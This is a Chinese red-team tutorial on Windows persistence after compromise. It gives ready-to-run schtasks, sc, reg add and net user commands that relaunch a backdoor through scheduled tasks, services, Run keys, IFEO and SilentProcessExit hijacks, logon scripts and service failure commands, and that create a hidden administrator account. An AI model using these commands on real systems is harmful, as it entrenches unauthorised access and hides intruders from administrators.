红队|windows权限维持
在获取到服务器权限后 通常会选择一些方式来进行我们的权限维持 以防止服务器重启之后或者其他情况下shell掉线
计划任务
利用计划任务进行权限维持
schtasks
schtasks /? 参数详解
schtasks /create /? 创建计划任务参数详解
/tn 计划任务名称,后续查询、修改、删除、执行时使用 /tr 需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。 /ru 运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务 /rp 运行任务的用户账户密码 /mo 指定任务在计划类型中的运行间隔 /d 指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。 /m 指定任务在某个月运行,只适用于MONTHLY类型。 /i 当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。 st 当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。 /ri 指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE /et 指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。 /du 指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。 /k 在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。 /it 只在用户登录时运行 /z 在任务计划完成后删除任务计划 /f 在创建任务时如果任务已存在不显示警告 /RL 为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。 /F 如果指定的任务已经存在,则强制创建任务并抑制警告。
1.创建一个test的计划任务 触发程序为ttt.exe 每分钟运行一次 高级别运行 权限为system
schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system
可以看到已经上线了
这里面也可以看到 可以将任务名字改得正常一点 提高隐藏性
现在将电脑关机 已经将cs里面会话的删掉
不管用什么用户登录都直接上线
但是测试的时候 发现最后要设置为system才执行上线 其他权限的不行
schtasks /create /tn "test" /tr C:\Users\ttt\Desktop\ttt.exe /rl highest /F /sc minute /mo 1 /RU system
账号登录时上线
schtasks /create /tn test /tr C:\Users\ttt\Desktop\ttt.exe /sc onlogon 如添加计划任务时使用的账号,登录成功后即上线
删除计划任务
schtasks /delete /tn test /f
但运行中的不会中断
结束计划任务
schtasks /end /tn test
运行计划任务
立即运行 但不会影响计划任务
schtasks /run /tn test
注册自启动服务
我们可以把后门注册为自启服务 电脑启动后会自动执行自启服务
创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system
sc create test binpath= C:\Users\ttt\Desktop\ttt.exe start= auto obj= Localsystem
#启动服务
net start test
#查询服务
sc query test
#删除服务
sc delete tes
但是需要尽快进行迁移以免shell掉线
自启动注册表植入后门
在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序,我们想要利用这个就需要修改注册表在键值存放我们的程序
常见的注册表键值
#Run键
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
添加键test,值为后门程序路径
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
然后重启机器
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
REG ADD "HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
映像劫持
“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。
劫持对应的程序后,打开该程序运行的是别的程序,比如运行A.exe打开的则是B.exe
注册表路径为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe
对notepad++程序进行劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad++.exe" /v Debugger /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
然后点击nodepade++.exe
打不开
上线了
映像劫持新玩法
新的利用方法,实现的效果是:程序A静默退出结束后,会执行程序B。
劫持notepad.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
详细可参考https://www.anquanke.com/post/id/151425
logon scripts 后门
Windows 登录脚本,当用户登录时触发
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
创建隐藏账号
net user test1$ 123456 /add
net localgroup administrators test1$ /add
net user看不见 但管理员里面可以看见 以及管理用户面板
失败命令
Windows提供了一种功能,以便在服务无法启动或其通信过程终止时执行某些操作。具体来说,当服务被终止时,可以执行命令。控制此操作的注册表项是“ FailureCommand ”,其值将定义要执行的操作。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\Users\ttt\Desktop\ttt.exe"
这样注册之后 我们将 win32time服务停止后 会执行ttt.exe
- 点赞
- 收藏
- 关注作者
评论(0)